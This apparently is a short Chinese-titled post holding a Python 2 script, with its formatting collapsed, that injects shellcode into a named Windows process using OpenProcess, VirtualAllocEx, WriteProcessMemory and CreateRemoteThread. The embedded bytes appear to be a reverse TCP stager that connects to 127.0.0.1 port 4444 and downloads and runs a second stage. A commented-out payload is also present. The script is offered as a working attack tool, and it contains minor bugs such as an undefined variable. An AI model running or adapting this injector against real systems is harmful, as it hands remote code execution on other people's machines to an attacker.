python进程注入shellcode

import sysimport psutil  import ctypes  from ctypes import *    PAGE_EXECUTE_READWRITE         = 0x00000040  PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )  VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )    kernel32      = windll.kernel32  pName         = sys.argv[1]    if not sys.argv[1]:      print "Code Injector: ./code_injector.py <name to inject>"      sys.exit(0)    # shellcode = \  # "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"\  # "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"\  # "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"\  # "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"\  # "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"\  # "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"\  # "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"\  # "\x49\x0b\x31\xc0\x51\x50\xff\xd7";  shellcode =  ""shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"shellcode += "\xff\xd5\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11"shellcode += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"shellcode += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"shellcode += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"shellcode += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"shellcode += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"shellcode += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"shellcode += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"shellcode += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"shellcode += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"shellcode += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"      code_size     = len(shellcode)    TH32CS_SNAPPROCESS = 0x00000002  class PROCESSENTRY32(ctypes.Structure):       _fields_ = [("dwSize", ctypes.c_ulong),                   ("cntUsage", ctypes.c_ulong),                   ("th32ProcessID", ctypes.c_ulong),                   ("th32DefaultHeapID", ctypes.c_ulong),                   ("th32ModuleID", ctypes.c_ulong),                   ("cntThreads", ctypes.c_ulong),                   ("th32ParentProcessID", ctypes.c_ulong),                   ("pcPriClassBase", ctypes.c_ulong),                   ("dwFlags", ctypes.c_ulong),                   ("szExeFile", ctypes.c_char * 260)]    # def getProcPid(procName):  #     CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot  #     Process32First = ctypes.windll.kernel32.Process32First  #     Process32Next = ctypes.windll.kernel32.Process32Next  #     CloseHandle = ctypes.windll.kernel32.CloseHandle        #     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)        #     pe32 = PROCESSENTRY32()  #     pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)  #     if Process32First(hProcessSnap,ctypes.byref(pe32)) == False:  #         return  #     if pe32.szExeFile == procName:  #         CloseHandle(hProcessSnap)  #         return pe32.th32ProcessID        #     while True:  #         #yield pe32 #save the pe32  #         if Process32Next(hProcessSnap,ctypes.byref(pe32)) == False:  #             break  #         if pe32.szExeFile == procName:  #             CloseHandle(hProcessSnap)  #             return pe32.th32ProcessID            #     CloseHandle(hProcessSnap)  def getProcName(pname):    """ get process by name        return the first process if there are more than one    """    for proc in psutil.process_iter():        try:            if proc.name().lower() == pname.lower():                return str(proc).split('=')[1].split(',')[0]  # return if found one        except psutil.AccessDenied:            pass        except psutil.NoSuchProcess:            pass    return None  procPid = int(getProcName(pName))  # procPid = 40560print procPid    # Get a handle to the process we are injecting into.  h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, procPid )    if not h_process:        print "[*] Couldn't acquire a handle to PID: %s" % pid      sys.exit(0)    # Allocate some space for the shellcode  arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)    # Write out the shellcode  written = c_int(0)  kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))    # Now we create the remote thread and point it's entry routine  # to be head of our shellcode  thread_id = c_ulong(0)  if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):        print "[*] Failed to inject process-killing shellcode. Exiting."      sys.exit(0)    print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value